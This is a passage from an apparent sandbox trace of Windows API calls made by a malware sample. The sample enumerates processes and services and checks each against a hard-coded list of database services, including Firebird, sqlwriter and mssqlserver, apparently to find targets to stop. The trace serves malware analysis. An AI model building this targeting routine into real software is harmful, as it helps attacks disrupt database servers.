returned 7 [0180.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0180.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0180.772] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0180.772] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0180.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0180.772] lstrlenW (lpString="RpcEptMapper") returned 12 [0180.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0180.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0180.772] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0180.772] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0180.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0180.772] lstrlenW (lpString="RpcSs") returned 5 [0180.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0180.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0180.772] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0180.772] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0180.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0180.772] lstrlenW (lpString="SamSs") returned 5 [0180.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0180.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0180.773] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0180.773] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0180.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0180.773] lstrlenW (lpString="Schedule") returned 8 [0180.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0180.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0180.773] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0180.773] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0180.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0180.773] lstrlenW (lpString="SecurityHealthService") returned 21 [0180.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0180.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0180.773] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0180.773] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0180.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0180.773] lstrlenW (lpString="SENS") returned 4 [0180.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0180.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0180.773] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0180.773] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0180.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0180.773] lstrlenW (lpString="ShellHWDetection") returned 16 [0180.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0180.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0180.774] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0180.774] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0180.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0180.774] lstrlenW (lpString="Spooler") returned 7 [0180.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0180.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0180.774] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0180.774] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0180.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0180.774] lstrlenW (lpString="StateRepository") returned 15 [0180.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0180.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0180.774] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0180.774] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0180.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0180.774] lstrlenW (lpString="SysMain") returned 7 [0180.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0180.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0180.775] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0180.775] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0180.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0180.775] lstrlenW (lpString="SystemEventsBroker") returned 18 [0180.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0180.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0180.775] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0180.775] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0180.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0180.775] lstrlenW (lpString="Themes") returned 6 [0180.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0180.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0180.775] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0180.775] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0180.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0180.775] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0180.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0180.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0180.776] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0180.776] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0180.776] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4121fa0 | out: hHeap=0x420000) returned 1 [0180.776] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x564 [0180.784] Process32FirstW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0180.784] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0180.785] lstrlenW (lpString="System") returned 6 [0180.785] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0180.786] lstrlenW (lpString="smss.exe") returned 8 [0180.786] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0180.787] lstrlenW (lpString="csrss.exe") returned 9 [0180.787] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0180.787] lstrlenW (lpString="wininit.exe") returned 11 [0180.787] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0180.789] lstrlenW (lpString="csrss.exe") returned 9 [0180.789] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0180.792] lstrlenW (lpString="winlogon.exe") returned 12 [0180.792] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0180.793] lstrlenW (lpString="services.exe") returned 12 [0180.793] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0180.793] lstrlenW (lpString="lsass.exe") returned 9 [0180.793] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0180.794] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0180.794] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0180.795] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0180.795] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.795] lstrlenW (lpString="svchost.exe") returned 11 [0180.796] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.796] lstrlenW (lpString="svchost.exe") returned 11 [0180.796] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0180.797] lstrlenW (lpString="dwm.exe") returned 7 [0180.797] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.797] lstrlenW (lpString="svchost.exe") returned 11 [0180.797] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.799] lstrlenW (lpString="svchost.exe") returned 11 [0180.799] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.800] lstrlenW (lpString="svchost.exe") returned 11 [0180.800] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.800] lstrlenW (lpString="svchost.exe") returned 11 [0180.800] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.801] lstrlenW (lpString="svchost.exe") returned 11 [0180.801] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.802] lstrlenW (lpString="svchost.exe") returned 11 [0180.802] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.803] lstrlenW (lpString="svchost.exe") returned 11 [0180.803] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.803] lstrlenW (lpString="svchost.exe") returned 11 [0180.803] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.804] lstrlenW (lpString="svchost.exe") returned 11 [0180.804] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.805] lstrlenW (lpString="svchost.exe") returned 11 [0180.805] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0180.806] lstrlenW (lpString="spoolsv.exe") returned 11 [0180.806] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.806] lstrlenW (lpString="svchost.exe") returned 11 [0180.806] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0180.807] lstrlenW (lpString="audiodg.exe") returned 11 [0180.807] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0180.808] lstrlenW (lpString="sihost.exe") returned 10 [0180.808] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.809] lstrlenW (lpString="svchost.exe") returned 11 [0180.809] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0180.810] lstrlenW (lpString="taskhostw.exe") returned 13 [0180.810] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0180.892] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0180.892] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0180.893] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0180.893] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0180.894] lstrlenW (lpString="Memory Compression") returned 18 [0180.894] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0180.895] lstrlenW (lpString="explorer.exe") returned 12 [0180.895] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0180.895] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0180.896] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0180.896] lstrlenW (lpString="SearchUI.exe") returned 12 [0180.896] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0180.897] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0180.897] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0180.898] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0180.898] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0180.899] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0180.899] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x3b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0180.901] lstrlenW (lpString="consent.exe") returned 11 [0180.901] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0180.902] lstrlenW (lpString="dllhost.exe") returned 11 [0180.902] Process32NextW (in: hSnapshot=0x564, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0180.902] CloseHandle (hObject=0x564) returned 1 [0180.902] Sleep (dwMilliseconds=0x1f4) [0181.629] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408e050 [0181.630] EnumServicesStatusExW (in: hSCManager=0x408e050, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0181.631] GetLastError () returned 0xea [0181.631] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bc4) returned 0x4121fa0 [0181.632] EnumServicesStatusExW (in: hSCManager=0x408e050, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4121fa0, cbBufSize=0x1bc4, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4121fa0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0181.633] CloseServiceHandle (hSCObject=0x408e050) returned 1 [0181.633] lstrlenW (lpString="Appinfo") returned 7 [0181.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0181.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0181.634] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0181.634] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0181.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0181.634] lstrlenW (lpString="AppXSvc") returned 7 [0181.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0181.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0181.634] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0181.634] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0181.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0181.634] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0181.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0181.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0181.634] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0181.634] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0181.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0181.634] lstrlenW (lpString="Audiosrv") returned 8 [0181.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0181.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0181.634] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0181.634] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0181.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0181.634] lstrlenW (lpString="BFE") returned 3 [0181.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0181.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0181.635] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0181.635] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0181.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0181.635] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0181.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0181.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0181.635] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0181.635] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0181.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0181.635] lstrlenW (lpString="CDPSvc") returned 6 [0181.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0181.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 